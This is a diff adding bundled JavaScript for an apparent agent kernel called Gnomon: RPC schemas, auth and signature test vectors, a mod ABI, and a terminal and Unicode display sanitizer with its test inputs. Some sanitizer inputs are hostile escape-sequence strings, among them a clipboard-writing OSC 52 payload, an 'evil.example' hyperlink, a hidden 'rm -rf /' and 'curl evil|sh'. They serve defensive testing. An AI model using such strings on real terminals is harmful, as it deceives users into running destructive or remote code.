+      decisionSig: { type: "string" },
+      presence: enumOf(PRESENCE_VALUES, true),
+      via: enumOf(VIA_VALUES, true),
+      voiceDecision: {
+        type: "object",
+        properties: {
+          armId: str(ID_PATTERNS.arm),
+          armClass: enumOf(VOICE_ARM_CLASSES, true),
+          humanConnId: str(ID_PATTERNS.conn),
+          voiceConnId: str(ID_PATTERNS.conn),
+          turnId: { type: "string" },
+          confirmTurnId: { type: "string" },
+          deckId: { type: "string" },
+          ordinal: { type: "integer", minimum: 1 },
+          label: { type: "string" },
+          handleHash: SHA,
+          challengeHash: SHA,
+          readbackHash: SHA,
+          speakerId: { type: "string" },
+          asrConfidence: { type: "number", minimum: 0, maximum: 1 },
+          mode: enumOf(VOICE_MODES, true)
+        },
+        required: ["armId", "armClass", "humanConnId", "voiceConnId", "turnId", "speakerId", "asrConfidence", "mode"]
+      },
+      note: CHANGE_NOTE_CARD,
+      strictness: closedObj(
+        { level: enumOf(STRICTNESS_LEVELS, true), mode: enumOf(RUN_MODES, true), reason: { type: "string" } },
+        ["level", "mode", "reason"]
+      ),
+      cli: { type: "object" },
+      timeoutAt: ISO
+    },
+    CARD_V1_REQUIRED
+  )
+});
+var HELLO_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}gnomon-rpc.v1.hello.schema.json`,
+  title: "gnomon-rpc:v1 hello",
+  description: "hello params and result (spec \xA74.9). Highest shared clientApi wins; none \u21D2 UNSUPPORTED{data:{offered[]}}. The result echoes clientNonce and serverSig covers it (T-2026-10-18-016).",
+  $defs: {
+    params: closedObj(
+      {
+        clientApis: arr(str("^[a-z][a-z0-9-]*:v[1-9][0-9]*$"), { minItems: 1 }),
+        features: arr({ type: "string" }),
+        clientNonce: str(CLIENT_NONCE_PATTERN_SOURCE),
+        client: closedObj(
+          {
+            name: { type: "string", minLength: 1 },
+            version: { type: "string", minLength: 1 },
+            surface: enumOf(CLIENT_SURFACES, true),
+            conformance: closedObj(
+              { suite: { type: "string" }, version: { type: "string" }, reportHash: { type: "string" } },
+              ["suite", "version", "reportHash"]
+            )
+          },
+          ["name", "version"]
+        )
+      },
+      ["clientApis", "features", "clientNonce", "client"]
+    ),
+    result: closedObj(
+      {
+        clientApi: str("^gnomon-rpc:v[1-9][0-9]*$"),
+        features: arr({ type: "string" }),
+        nonce: { type: "string", minLength: 1 },
+        clientNonce: str(CLIENT_NONCE_PATTERN_SOURCE),
+        serverKeyId: { type: "string", minLength: 1 },
+        serverSig: { type: "string", minLength: 1 },
+        clientApiId: { type: "string", minLength: 1 },
+        kitId: { type: "string", minLength: 1 }
+      },
+      HELLO_RESULT_KEYS
+    )
+  }
+});
+var offerText = (max) => ({ type: "string", minLength: 1, maxLength: max, "x-gnomon-single-line": true });
+var offerTokens = (max) => arr(str(OFFER_TOKEN_PATTERN), { maxItems: max, uniqueItems: true });
+var OFFER_SPEC_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}offer-spec.v1.schema.json`,
+  title: "offer-spec:v1",
+  description: "One playbook offer a mod manifest declares under provides.offers (the Desk, TD-2026-10-20-812). Structured fields only (A7). A model proposes it with one ```offer block {mod, kind, question} (offerBlockOf).",
+  "x-gnomon-max-per-mod": OFFERS_PER_MOD_MAX,
+  ...closedObj(
+    {
+      kind: str(OFFER_TOKEN_PATTERN),
+      phase: enumOf(OFFER_PHASES),
+      title: { ...offerText(OFFER_LIMITS.title), pattern: OFFER_TITLE_SCHEMA_PATTERN },
+      summary: offerText(OFFER_LIMITS.summary),
+      contextIn: arr(enumOf(CONTEXT_SOURCES), { maxItems: OFFER_LIMITS.contextIn, uniqueItems: true }),
+      resultOut: str(OFFER_TOKEN_PATTERN),
+      reach: enumOf(OFFER_REACHES),
+      handoffTool: str(OFFER_TOOL_PATTERN),
+      related: offerTokens(OFFER_LIMITS.related),
+      restraint: offerText(OFFER_LIMITS.restraint)
+    },
+    OFFER_SPEC_V1_KEYS
+  )
+});
+var RELEASE_MANIFEST_V1_SCHEMA = deepFreeze({
+  $schema: "https://json-schema.org/draft/2020-12/schema",
+  $id: `${ID_BASE}release-manifest.v1.schema.json`,
+  title: "release-manifest:v1",
+  description: "The native executables one Gnomon release ships (GnomonHelper.app, GnomonVoiceIO.app) and the exact sha256 the kernel accepts for each (G-HLP-01). Written by packages/gnomon/scripts/write-release-manifest.mjs and embedded in the build stamp; at most one entry per (name, arch), a universal entry stands alone (validateReleaseManifestV1).",
+  ...closedObj(
+    {
+      schemaVersion: { const: RELEASE_MANIFEST_V1 },
+      release: str(RELEASE_VERSION_PATTERN),
+      artifacts: arr(
+        closedObj(
+          {
+            name: enumOf(RELEASE_ARTIFACT_NAMES),
+            version: str(ARTIFACT_VERSION_PATTERN),
+            sha256: str(SHA256_HEX_PATTERN),
+            requirement: { type: "string", minLength: 1, maxLength: RELEASE_REQUIREMENT_MAX },
+            arch: enumOf(RELEASE_ARCHES)
+          },
+          RELEASE_ARTIFACT_V1_KEYS
+        ),
+        { minItems: 1, maxItems: RELEASE_ARTIFACTS_MAX }
+      ),
+      appZips: arr(closedObj({ arch: enumOf(APP_ZIP_ARCHES), sha256: str(SHA256_HEX_PATTERN) }, RELEASE_APP_ZIP_V1_KEYS), { minItems: 1, maxItems: APP_ZIP_ARCHES.length })
+    },
+    RELEASE_MANIFEST_V1_KEYS
+  )
+});
+var CONTRACT_SCHEMAS = Object.freeze({
+  "event.v1.schema.json": EVENT_V1_SCHEMA,
+  "ref.v1.schema.json": REF_V1_SCHEMA,
+  "refusal.v1.schema.json": REFUSAL_V1_SCHEMA,
+  "card.v1.schema.json": CARD_V1_SCHEMA,
+  "gnomon-rpc.v1.hello.schema.json": HELLO_V1_SCHEMA,
+  "review-finding.v1.schema.json": REVIEW_FINDING_V1_SCHEMA,
+  "change-note.v1.schema.json": CHANGE_NOTE_V1_SCHEMA,
+  "offer-spec.v1.schema.json": OFFER_SPEC_V1_SCHEMA
+});
+var BUILD_SCHEMAS = Object.freeze({
+  "release-manifest.v1.schema.json": RELEASE_MANIFEST_V1_SCHEMA
+});
+var KIT_V1 = "kit:v1";
+var KIT_V1_BLOCKS = Object.freeze([
+  "Box",
+  "Text",
+  "List",
+  "Table",
+  "Markdown",
+  "Diff",
+  "Progress",
+  "Button",
+  "Image",
+  "Canvas"
+]);
+var KIT_V1_DESCRIPTOR = deepFreeze({ schemaVersion: KIT_V1, blocks: [...KIT_V1_BLOCKS] });
+var VECTOR_NEGOTIATED = { clientApi: GNOMON_RPC_V1, features: ["b", "a"] };
+var AUTH_WIRE_DESCRIPTOR = deepFreeze({
+  domains: { server: AUTH_SERVER_DOMAIN, client: AUTH_CLIENT_DOMAIN, token: AUTH_TOKEN_DOMAIN },
+  vectors: {
+    server: {
+      inputs: { nonce: "N", clientNonce: "CN", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
+      preimage: authServerPreimage("N", "CN", "/s", VECTOR_NEGOTIATED)
+    },
+    client: {
+      inputs: { nonce: "N", serverKeyId: "k", principalId: "p", deviceId: "d", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
+      preimage: authClientPreimage("N", "k", "p", "d", "/s", VECTOR_NEGOTIATED)
+    },
+    token: {
+      inputs: { nonce: "N", serverKeyId: "k", tokenId: "rtk:X", endpointPath: "/s", negotiated: VECTOR_NEGOTIATED },
+      preimage: authTokenPreimage("N", "k", "rtk:X", "/s", VECTOR_NEGOTIATED)
+    }
+  },
+  // TD-2026-10-19-063 (founder ruling "ONE Touch ID"; a DELIBERATE clientApiId move): the GUI resume form. The kernel
+  // that accepted an upgrade card sends `gui.resume` to the accepting GUI connection only; the successor accepts
+  // `auth {resumeToken}` exactly once, inside the TTL, as the bound principal (web endpoint only; never presence).
+  resume: {
+    form: { resumeToken: "base64url(32 random bytes)" },
+    transport: "web",
+    notification: { method: "gui.resume", params: ["kernelPublicKey", "resumeToken", "ttlMs"] },
+    ttlMs: 6e4,
+    singleUse: true,
+    via: "resume",
+    refusals: ["replayed-transcript", "token-expired", "unknown-token"]
+  }
+});
+var DECISION_V2_INPUTS = {
+  cardId: "card:01J00000000000000000000000",
+  decision: "answer",
+  cardContentHash: `sha256:${"c".repeat(64)}`,
+  approverPrincipalId: "p:local/founder",
+  answerDigest: `sha256:${"a".repeat(64)}`
+};
+var SCOPE_VECTOR = { kind: "prefix", prefix: ["git", "log"] };
+var DECISION_SIG_DESCRIPTOR = deepFreeze({
+  domain: APPROVE_SIG_DOMAIN,
+  v2: {
+    marker: DECISION_SIG_V2_MARKER,
+    decisions: [...DECISION_SIG_V2_DECISIONS],
+    vector: { inputs: DECISION_V2_INPUTS, message: decisionMessageV2(DECISION_V2_INPUTS) }
+  },
+  // TD-2026-10-20-294: approve{scope}; a prefix-scoped always signs the v2 layout whose last line is scopeDigest(scope)
+  scope: {
+    kinds: [...APPROVE_SCOPE_KINDS],
+    prefixWords: { min: 1, max: APPROVE_SCOPE_PREFIX_MAX_WORDS },
+    decisions: [...DECISION_SIG_V2_SCOPED_DECISIONS],
+    digest: 'sha256(canonicalJson({kind:"prefix", prefix}))',
+    vector: { scope: SCOPE_VECTOR, scopeDigest: scopeDigest(SCOPE_VECTOR), message: decisionMessageV2({ ...DECISION_V2_INPUTS, decision: "always", answerDigest: scopeDigest(SCOPE_VECTOR) }) }
+  }
+});
+var CLIENT_API_DESCRIPTOR = deepFreeze({
+  clientApi: GNOMON_RPC_V1,
+  verbs: VERBS,
+  relays: CLIENT_RELAYS,
+  jsonRpcCodes: JSON_RPC_CODES,
+  additiveEnums: ADDITIVE_ENUMS,
+  schemas: CONTRACT_SCHEMAS,
+  // M1.1 reservations that live outside a JSON Schema (§4.11, §19.1 M1.1).
+  verbParamValues: VERB_PARAM_VALUES,
+  contentParts: RESERVED_CONTENT_PARTS,
+  statusFields: STATUS_RESERVED_FIELDS,
+  failSafe: FAIL_SAFE_VALUES,
+  // P8-D93 round 3 (Aegis): domains + one preimage vector per auth form
+  auth: AUTH_WIRE_DESCRIPTOR,
+  // P8-D98 (T-2026-10-19-001): the human-device verbs, the reserved hello features, the log.read cursor shape,
+  // the closed always-rule match and drain reason, and the decisionSig v2 layout.
+  humanDeviceVerbs: HUMAN_DEVICE_VERBS,
+  helloFeatures: { reserved: RESERVED_HELLO_FEATURES },
+  logReadCursor: LOG_READ_CURSOR_KEYS,
+  closedValues: D98_CLOSED_VALUES,
+  decisionSig: DECISION_SIG_DESCRIPTOR,
+  // TD-2026-10-19-194 (voice V0): closed disarm reasons + voice-strictness ceilings; status.arms/armCustody ride statusFields.
+  voiceClosedValues: VOICE_CLOSED_VALUES,
+  // TD-2026-10-20-086 F6: the daily standing grant's closed values (the deliberate clientApiId move, with T-2026-10-20-007).
+  standingGrant: { tuples: [...STANDING_TUPLES], repoTuples: [...STANDING_REPO_TUPLES], revokeReasons: [...STANDING_REVOKE_REASONS], presencePrefix: STANDING_PRESENCE_PREFIX, maxMs: STANDING_GRANT_MAX_MS },
+  // 8.0:model-switch: the mid-session Claude model switch's closed outcomes, refusal routes and context guard
+  modelSwitch: { outcomes: [...SESSION_MODEL_OUTCOMES], reasons: MODEL_SWITCH_REASON_ROUTES, contextGuard: MODEL_SWITCH_CONTEXT_GUARD },
+  // review M2: turn.result{turn} names the latest turn it closes (folded queued turns close with it); absent = FIFO
+  turnResult: TURN_RESULT_PAIRING,
+  // 8.0:T-2026-10-21-008 (re-review M-1): session.anomaly{why}'s closed reasons
+  sessionAnomaly: { reasons: [...SESSION_ANOMALY_REASONS] },
+  // 8.0:session-rename: request.session.rename{hsid, name} → session.renamed{hsid, name}; the name's limits ('' resets)
+  sessionRename: { nameMax: SESSION_NAME_MAX, inputMax: SESSION_NAME_INPUT_MAX, reset: "" },
+  // 8.0:git-verbs (T-2026-10-23-002): git.verb{verb, phase, why}'s closed values and the host rule
+  gitVerbs: { verbs: [...GIT_VERBS], phases: [...GIT_VERB_PHASES], reasons: [...GIT_VERB_REASONS], hostPattern: GIT_VERB_HOST_PATTERN.source },
+  // 8.0:rules-view (Aegis M2/L1/L2): request.rules.apply{changes:[{ruleId, op, until?}]} (dispatcher-only, the human on a
+  // gui or device connection): remove/off narrow at once; every `on` of a batch rides ONE strictness card (detail.op
+  // cardOp, fresh presence, never standing, never voice); `until` is an ISO time ≤ offMaxMs ahead of the kernel clock or
+  // 'manual'. approval.rule.disabled / approval.rule.enabled ride the event schema.
+  rulesView: { request: "request.rules.apply", max: RULES_APPLY_MAX, ops: [...RULE_CHANGE_OPS], offMaxMs: RULE_OFF_MAX_MS, untilManual: "manual", enableCauses: [...RULE_ENABLE_CAUSES], batchPattern: RULES_BATCH_PATTERN.source, cardOp: "rules.apply" },
+  // 8.0:TD-2026-10-20-812 (the Desk + the context meter, one batched move): the offer block grammar and limits, the
+  // closed offer phases/decisions/reach, the mute scope, the install sources and their url/path rule, the restart's
+  // checkpoint id and which KIND_PAYLOADS keys may be absent. The kinds and their payload keys ride the event schema;
+  // offer-spec:v1 is its own published schema.
+  desk: {
+    offer: {
+      phases: [...OFFER_PHASES],
+      decisions: [...OFFER_DECISIONS],
+      reaches: [...OFFER_REACHES],
+      contextSources: [...CONTEXT_SOURCES],
+      perMod: OFFERS_PER_MOD_MAX,
+      limits: OFFER_LIMITS,
+      block: { fence: "```offer", format: "json", keys: [...OFFER_BLOCK_KEYS], maxChars: OFFER_BLOCK_MAX, maxReplyChars: OFFER_TEXT_MAX, questionMax: OFFER_QUESTION_MAX, onePerReply: true }
+    },
+    muteScopes: [...OFFER_MUTE_SCOPES],
+    // 8.0:T-2026-10-21-006: offer.suppressed{why}, and the reasons that name no mod (a deliberate clientApiId move)
+    suppress: { reasons: [...OFFER_SUPPRESS_REASONS], unnamed: [...OFFER_SUPPRESS_UNNAMED] },
+    // 8.0:T-2026-10-21-008 (re-review M-2): offer.retired{why}'s closed reasons
+    retire: { reasons: [...OFFER_RETIRE_REASONS] },
+    install: { sources: [...MOD_INSTALL_SOURCES], urlPattern: MOD_INSTALL_URL_PATTERN.source, limits: MOD_INSTALL_LIMITS, commitPattern: GIT_COMMIT_PATTERN.source },
+    // S0b (mod naming and versioning, inside this same move): the mod id grammar and limits, the reserved publishers,
+    // the derived MCP server/tool name limits, the manifest formats and the published manifest refusal codes
+    modId: {
+      publisherPattern: PUBLISHER_PATTERN.source,
+      namePattern: MOD_NAME_PATTERN.source,
+      idPattern: MOD_ID_PATTERN.source,
+      limits: MOD_ID_LIMITS,
+      reservedPublishers: [...RESERVED_PUBLISHERS],
+      deviceNames: [...WINDOWS_DEVICE_NAMES],
+      founderBrands: FOUNDER_BRANDS,
+      firstPartyDisplayNames: [...FIRST_PARTY_DISPLAY_NAMES],
+      skeleton: "lowercase; strip -; 0>o 1>l i>l 3>e 5>s; rn>m vv>w cl>d",
+      mcpServer: { short: "gm_<publisher>_<name>", max: MCP_SERVER_NAME_MAX, long: "gx_<name[0..13]>_<base32(sha256(id))[0..10]>" },
+      qualifiedToolMax: QUALIFIED_TOOL_NAME_MAX,
+      envPrefix: { thirdParty: "<PUB>__<NAME>__", firstParty: "<NAME>__" },
+      eventPrefix: "modns.<publisher>.<name>.",
+      principalLabel: "mod-<publisher>.<name>",
+      manifestFormat: MANIFEST_FORMAT,
+      refusals: MOD_REFUSAL_ROUTES
+    },
+    restart: { checkpointRefPattern: CHECKPOINT_REF_PATTERN.source },
+    optionalPayloadKeys: KIND_PAYLOAD_OPTIONAL
+  },
+  // ── 8.0:loops (docs/specs/gnomon-loops.md §2–§5; the ONE loops clientApiId move) ──────────────────────────────
+  // The kinds and their payload field names ride the event schema; the two card kinds and decisions ride the card
+  // enums. These are the closed values the loop rows carry, the loop-choice-only decisions and the kill switch form.
+  loops: {
+    verdicts: [...LOOP_VERDICTS],
+    autonomy: [...LOOP_AUTONOMY],
+    scopes: [...LOOP_SCOPES],
+    requestOps: [...LOOP_REQUEST_OPS],
+    pauseReasons: [...LOOP_PAUSE_REASONS],
+    runEndReasons: [...LOOP_RUN_END_REASONS],
+    closureBy: [...LOOP_CLOSURE_BY],
+    landWaitReasons: [...LOOP_LAND_WAIT_REASONS],
+    sessionOrigin: LOOP_SESSION_ORIGIN,
+    choiceOnlyDecisions: [...LOOP_CHOICE_ONLY_DECISIONS],
+    killSwitch: { kind: "request.loop.pause", payload: { all: true } }
+  }
+});
+function computeKitId(kit = KIT_V1_DESCRIPTOR) {
+  return `sha256:${hex(sha256(canonicalJson(kit)))}`;
+}
+function computeClientApiId(descriptor = CLIENT_API_DESCRIPTOR, kitId = computeKitId()) {
+  return `sha256:${hex(sha256(`${canonicalJson(descriptor)}
+${kitId}`))}`;
+}
+var KIT_ID = computeKitId();
+var CLIENT_API_ID = computeClientApiId();
+var MOD_ABI_V1 = "mod-abi:v1";
+var MOD_EFFECTS = Object.freeze(["read", "write", "network", "spend"]);
+var MOD_ABI_LIFECYCLE = deepFreeze([
+  { method: "init", direction: "host->mod", form: "request", params: ["abi", "features"], result: ["abi", "features", "modAbiId"], effect: null },
+  { method: "shutdown", direction: "host->mod", form: "request", params: [], result: [], effect: null },
+  { method: "cancel", direction: "host->mod", form: "notification", params: ["cancelToken"], result: [], effect: null }
+]);
+var MOD_ABI_RPCS = deepFreeze([
+  { method: "health", direction: "host->mod", form: "request", params: [], result: ["ok", "abi"], effect: null },
+  { method: "view.render", direction: "host->mod", form: "request", params: ["viewId", "input", "width", "prefs", "cancelToken", "callId", "relayedFor"], result: ["block"], effect: null },
+  { method: "command.run", direction: "host->mod", form: "request", params: ["commandId", "args", "callId", "relayedFor"], result: ["result"], effect: null },
+  { method: "tool.call", direction: "host->mod", form: "request", params: ["name", "input", "cancelToken", "callId"], result: ["result"], effect: null },
+  { method: "event", direction: "host->mod", form: "notification", params: ["event"], result: [], effect: null },
+  { method: "state.get", direction: "mod->host", form: "request", params: ["key", "callId"], result: ["value"], effect: "read" },
+  { method: "state.set", direction: "mod->host", form: "request", params: ["key", "value", "callId"], result: [], effect: "write" },
+  { method: "kernel.call", direction: "mod->host", form: "request", params: ["verb", "params", "callId"], result: ["result"], effect: "by-verb" }
+]);
+var MOD_NEVER_PROXIED = Object.freeze(["approve"]);
+var MOD_BLOCK_LIMITS = deepFreeze({ maxBytes: 256 * 1024, maxNodes: 2e3 });
+var MOD_ABI_DESCRIPTOR = deepFreeze({
+  schemaVersion: MOD_ABI_V1,
+  wire: "jsonrpc-2.0 ndjson over stdio",
+  lifecycle: MOD_ABI_LIFECYCLE,
+  rpcs: MOD_ABI_RPCS,
+  relays: CLIENT_RELAYS,
+  effects: MOD_EFFECTS,
+  neverProxied: MOD_NEVER_PROXIED,
+  blockLimits: MOD_BLOCK_LIMITS,
+  relayedFor: ["principal", "connId"]
+});
+function computeModAbiId(descriptor = MOD_ABI_DESCRIPTOR, kitId = computeKitId()) {
+  return `sha256:${hex(sha256(`${canonicalJson(descriptor)}
+${kitId}`))}`;
+}
+var MOD_ABI_ID = computeModAbiId();
+var BIDI_GLYPHS = Object.freeze({
+  8234: "\u27E8LRE\u27E9",
+  8235: "\u27E8RLE\u27E9",
+  8236: "\u27E8PDF\u27E9",
+  8237: "\u27E8LRO\u27E9",
+  8238: "\u27E8RLO\u27E9",
+  8294: "\u27E8LRI\u27E9",
+  8295: "\u27E8RLI\u27E9",
+  8296: "\u27E8FSI\u27E9",
+  8297: "\u27E8PDI\u27E9",
+  8206: "\u27E8LRM\u27E9",
+  8207: "\u27E8RLM\u27E9",
+  1564: "\u27E8ALM\u27E9"
+});
+var STRING_GLYPHS = Object.freeze({
+  93: "\u27E8OSC\u27E9",
+  157: "\u27E8OSC\u27E9",
+  80: "\u27E8DCS\u27E9",
+  144: "\u27E8DCS\u27E9",
+  88: "\u27E8SOS\u27E9",
+  152: "\u27E8SOS\u27E9",
+  94: "\u27E8PM\u27E9",
+  158: "\u27E8PM\u27E9",
+  95: "\u27E8APC\u27E9",
+  159: "\u27E8APC\u27E9"
+});
+var HIDDEN_STRIP_RANGES = Object.freeze([
+  [173, 173],
+  [847, 847],
+  [4447, 4448],
+  [6158, 6158],
+  [8203, 8205],
+  [8288, 8292],
+  [12644, 12644],
+  [65279, 65279],
+  [65440, 65440],
+  [917504, 917631],
+  [917760, 917999]
+]);
+var TERMINATED = new RegExp(
+  [
+    "(\\x1B[\\]PX^_]|[\\x9D\\x90\\x98\\x9E\\x9F])([^\\x07\\x1B\\x9C\\x90\\x98\\x9D\\x9E\\x9F]*)(?:\\x07|\\x1B\\\\|\\x9C)",
+    // string sequences: payload shown
+    "(?:\\x1B\\[|\\x9B)[\\x30-\\x3F]*[\\x20-\\x2F]*[\\x40-\\x7E]",
+    // CSI
+    "\\x1B[\\x20-\\x2F]*[\\x30-\\x4F\\x51-\\x57\\x59\\x5A\\x5C\\x60-\\x7E]"
+    // other ESC (never a string/CSI introducer)
+  ].join("|"),
+  "g"
+);
+var CONFORMANCE_CHECKS = Object.freeze([
+  { id: "hello.negotiate", must: "offers gnomon-rpc:v1; the kernel chooses it and reports clientApiId and kitId", spec: "\xA74.9", status: "run" },
+  { id: "hello.unsupported", must: "offering no API the kernel speaks is refused UNSUPPORTED{data.offered}", spec: "\xA74.9", status: "run" },
+  { id: "hello.server-sig", must: "verifies serverSig against the registered kernel key before auth", spec: "\xA74.9", status: "run" },
+  { id: "hello.server-sig-mismatch", must: "a hello signed by any other key, or a genuine hello replayed from another connection (its clientNonce is not this one's), is refused locally and NO auth is sent", spec: "\xA74.9", status: "run" },
+  { id: "auth.device", must: "authenticates with a device key (gnomon:auth:v1 over the negotiated hello)", spec: "\xA74.9", status: "run" },
+  { id: "auth.device-refused", must: "an unregistered device key yields ONE AUTH refusal:v1 (-32001), surfaced as a refusal; the client keeps no connection", spec: "\xA74.9", status: "run" },
+  { id: "auth.read-token", must: "authenticates a read token by proof of possession; write verbs are refused FORBIDDEN", spec: "\xA74.9, \xA75", status: "run" },
+  { id: "auth.before-auth", must: "a known verb before auth yields AUTH{unauthenticated} and the connection closes", spec: "\xA74.9", status: "run" },
+  { id: "auth.launch-token", must: "launch token \u2192 GUI token over the WebSocket transport", spec: "\xA74.9, \xA711.2", status: "slice-2" },
+  { id: "auth.reconnect", must: "Reconnect: {reconnect:true} raises presence and re-pins the kernel key", spec: "\xA74.9, D54", status: "slice-2" },
+  { id: "refusal.unknown-verb", must: "an unknown method yields UNKNOWN_VERB (-32601) carrying a valid refusal:v1", spec: "\xA74.6, \xA74.9", status: "run" },
+  { id: "refusal.bad-request", must: "malformed params yield BAD_REQUEST (-32600) carrying a valid refusal:v1", spec: "\xA74.6, \xA74.9", status: "run" },
+  { id: "subscribe.since", must: "log.read{follow, since} delivers the backlog then live rows, in seq order, without gaps", spec: "\xA74.9", status: "run" },
+  { id: "subscribe.dropped", must: "survives socket.subscription.dropped by re-subscribing from since", spec: "\xA74.9", status: "slice-2" },
+  { id: "display.sanitize", must: "every string passes the \xA74.5 sanitizer incl. the Unicode rules (vectors)", spec: "\xA74.5", status: "run" },
+  { id: "display.event-rows", must: "an unknown modns.* kind renders as an opaque {kind, principal, at} row, never dropped (vectors)", spec: "\xA74.9", status: "run" },
+  { id: "display.denominator", must: "every number renders as {n, of}; a bare count is refused (vectors)", spec: "\xA79.1", status: "run" },
+  { id: "cards.kernel-signed", must: "renders a card only from a kernel-signed approval.request; a forged one never appears", spec: "\xA712.8 G-CLI-03", status: "slice-2" },
+  { id: "cards.flags-badge", must: "shows a card's flags badge", spec: "\xA74.5", status: "slice-2" },
+  { id: "cards.gesture", must: "sends approve only on a user gesture", spec: "\xA712.8", status: "slice-2" },
+  { id: "kit.image-canvas", must: "kit.Image renders its alt; kit.Canvas as a surface or the mark list", spec: "\xA74.5", status: "slice-2" },
+  { id: "conformance.declared", must: "a declared conformance tuple appears in status.clients[] labelled declared", spec: "\xA712.8", status: "run" }
+]);
+var DISPLAY_SANITIZE_INPUTS = Object.freeze([
+  "hello world",
+  "tab	and\nnewline",
+  "\x1B]52;c;ZWNobyBwd25lZA==\x07safe",
+  "\x1B]8;;https://evil.example\x1B\\click\x1B]8;;\x1B\\",
+  "\x1B[31mred\x1B[0m",
+  "\x9B2Jclear",
+  "\x1BPq#0;2;0;0;0\x1B\\after",
+  "before\x1B_never ends",
+  "invoice\u202Etxt.exe",
+  "a\u2066b\u2069c",
+  "ap\u200Bprove",
+  "\uFEFFx\u2060y",
+  "ok\u{E0041}\u{E0042}",
+  "a\x07b\bc",
+  "x\x7Fy\x85z",
+  "esc\x1Bcape",
+  "\\u{202E} stays literal",
+  "\u627F\u8A8D \u2705 \u{1F44D}\u{1F3FD}",
+  "rm -rf\u202E\u200B /",
+  // Aegis round 2 F1: removal flags; an unterminated sequence keeps its tail visible
+  "echo ok\x1B_; curl evil|sh",
+  "title\x1B]0;never terminated",
+  "csi\x1B[31",
+  "dcs\x1BPdata",
+  "a\rb",
+  "a\r\nb",
+  // F7: mixed 7-bit/8-bit terminators; lone surrogates
+  "\x1B]0;t\x9CX",
+  "\x9D0;t\x1B\\X",
+  "\x9D0;t\x07X",
+  "\x90q\x9CY",
+  "bad\uD800surrogate",
+  "x\uDC00y",
+  // F3: variation selectors, fillers, line/paragraph separators
+  "ok\u2764\uFE0F",
+  "\uFE0Fstart",
+  "a\uFE0F\uFE0F",
+  "x \uFE0F",
+  "\u{E0100}ivs",
+  "\u034F\u115F\u1160\u3164\uFFA0x",
+  "line\u2028sep\u2029par",
+  // Aegis round 3 R2-1: VS runs decided on the output; a mark is no VS base
+  "a\uFE00\u200B\uFE01\u200B\uFE02",
+  "e\u0301\uFE0F",
+  // T-2026-10-18-013: only VS15/VS16 are silent; FE00–FE0D are kept but flagged
+  "text\uFE0E",
+  "a\uFE03b",
+  // Aegis M2 (slice 2 round 2): a string sequence's payload stays visible
+  "reason: run tests\x9D; also exfil to x.example\x9C",
+  // R2-2: an 8-bit introducer inside a string sequence ends the outer candidate
+  "\x1B]0;a\x9Db\x07c"
+]);
+var DISPLAY_ROW_INPUTS = Object.freeze([
+  { kind: "socket.hello", principal: "p:a1b2c3d4/kernel", at: "2026-10-17T00:00:00.000Z" },
+  { kind: "credit.outcome", principal: "p:a1b2c3d4/paradigm", at: "2026-10-17T00:00:01.000Z" },
+  { kind: "modns.diff-lens.toggled", principal: "p:a1b2c3d4/mod-diff-lens", at: "2026-10-17T00:00:02.000Z" },
+  { kind: "modns.diff-lens.note", principal: "p:a1b2c3d4/mod-\u202Ediff", at: "2026-10-17T00:00:03.000Z" },
+  { kind: "futurens.thing", principal: "p:a1b2c3d4/ascend", at: "2026-10-17T00:00:04.000Z" }
+]);
+var DISPLAY_DENOMINATOR_INPUTS = Object.freeze([
+  { n: 3, of: 7 },
+  { n: 0, of: 0 },
+  5,
+  { n: 2 },
+  null,
+  { n: -1, of: 2 },
+  { n: 1.5, of: 2 },
+  { n: 2 ** 53, of: 1 },
+  { n: "3", of: 7 }
+]);
+var SETUP_API = "gnomon-setup:v1";
+var SETUP_TOKEN_BYTES = 32;
+var SETUP_TOKEN_TTL_MS = 6e4;
+var SETUP_METHODS = deepFreeze(["hello", "auth", "setup.preflight", "setup.name", "setup.begin", "setup.purge", "setup.complete", "setup.finish"]);
+var SETUP_EVENTS = deepFreeze(["setup.state", "setup.presence"]);
+var SETUP_PARAMS = deepFreeze({
+  auth: ["setupToken"],
+  "setup.preflight": [],
+  "setup.name": ["name"],
+  "setup.begin": [],
+  "setup.purge": ["gen"],
+  "setup.complete": [],
+  "setup.finish": []
+});
+var SETUP_API_DESCRIPTOR = deepFreeze({
+  api: SETUP_API,
+  methods: [...SETUP_METHODS],
+  params: SETUP_PARAMS,
+  events: { "setup.state": ["phase", "step"], "setup.presence": ["n", "of", "purpose", "digest12", "key?", "gen?"] },
+  tokenBytes: SETUP_TOKEN_BYTES,
+  tokenTtlMs: SETUP_TOKEN_TTL_MS
+});
+var SETUP_API_ID = `sha256:${hex(sha256(canonicalJson(SETUP_API_DESCRIPTOR)))}`;
+
+// src/kernel/manifest/layers.ts
+var GATE_DIRS = /* @__PURE__ */ new Set([
+  ".claude",
+  ".gnomon",
+  ".git",
+  ".github",
+  ".gitlab",
+  ".circleci",
+  ".husky",
+  ".buildkite",
+  // Aegis H2: editor/devcontainer/toolchain dirs that run code or steer an agent (tasks.json, launch configs, plugins, hooks)
+  ".vscode",
+  ".idea",
+  ".cursor",
+  ".devcontainer",
+  ".yarn",
+  ".cargo",
+  ".paradigm",
+  ".lefthook"
+]);
+var GATE_FILES = /* @__PURE__ */ new Set([
+  // loops step 11 (Aegis L8): portal.yaml is the repo's gate and route authority (Paradigm portal protocol)
+  "portal.yaml",
+  ".gitattributes",
+  ".gitmodules",
+  ".gitlab-ci.yml",
+  ".travis.yml",
+  "azure-pipelines.yml",
+  "jenkinsfile",
+  "bitbucket-pipelines.yml",
+  "package.json",
+  "package-lock.json",
+  "npm-shrinkwrap.json",
+  "yarn.lock",
+  "pnpm-lock.yaml",
+  "pnpm-workspace.yaml",
+  "bun.lock",
+  "bun.lockb",
+  ".npmrc",
+  ".yarnrc",
+  ".yarnrc.yml",
+  ".mcp.json",
+  "pytest.ini",
+  "tox.ini",
+  "conftest.py",
+  "noxfile.py",
+  // Aegis H2: hook runners, build/task runners, package build scripts, env loaders and other agents' steering files
+  ".pnpmfile.cjs",
+  ".pre-commit-config.yaml",
+  "lefthook.yml",
+  "lefthook.yaml",
+  "makefile",
+  "gnumakefile",
+  "justfile",
+  "taskfile.yml",
+  "taskfile.yaml",
+  "setup.py",
+  "setup.cfg",
+  "pyproject.toml",
+  "build.rs",
+  "cargo.toml",
+  "mise.toml",
+  ".mise.toml",
+  ".tool-versions",
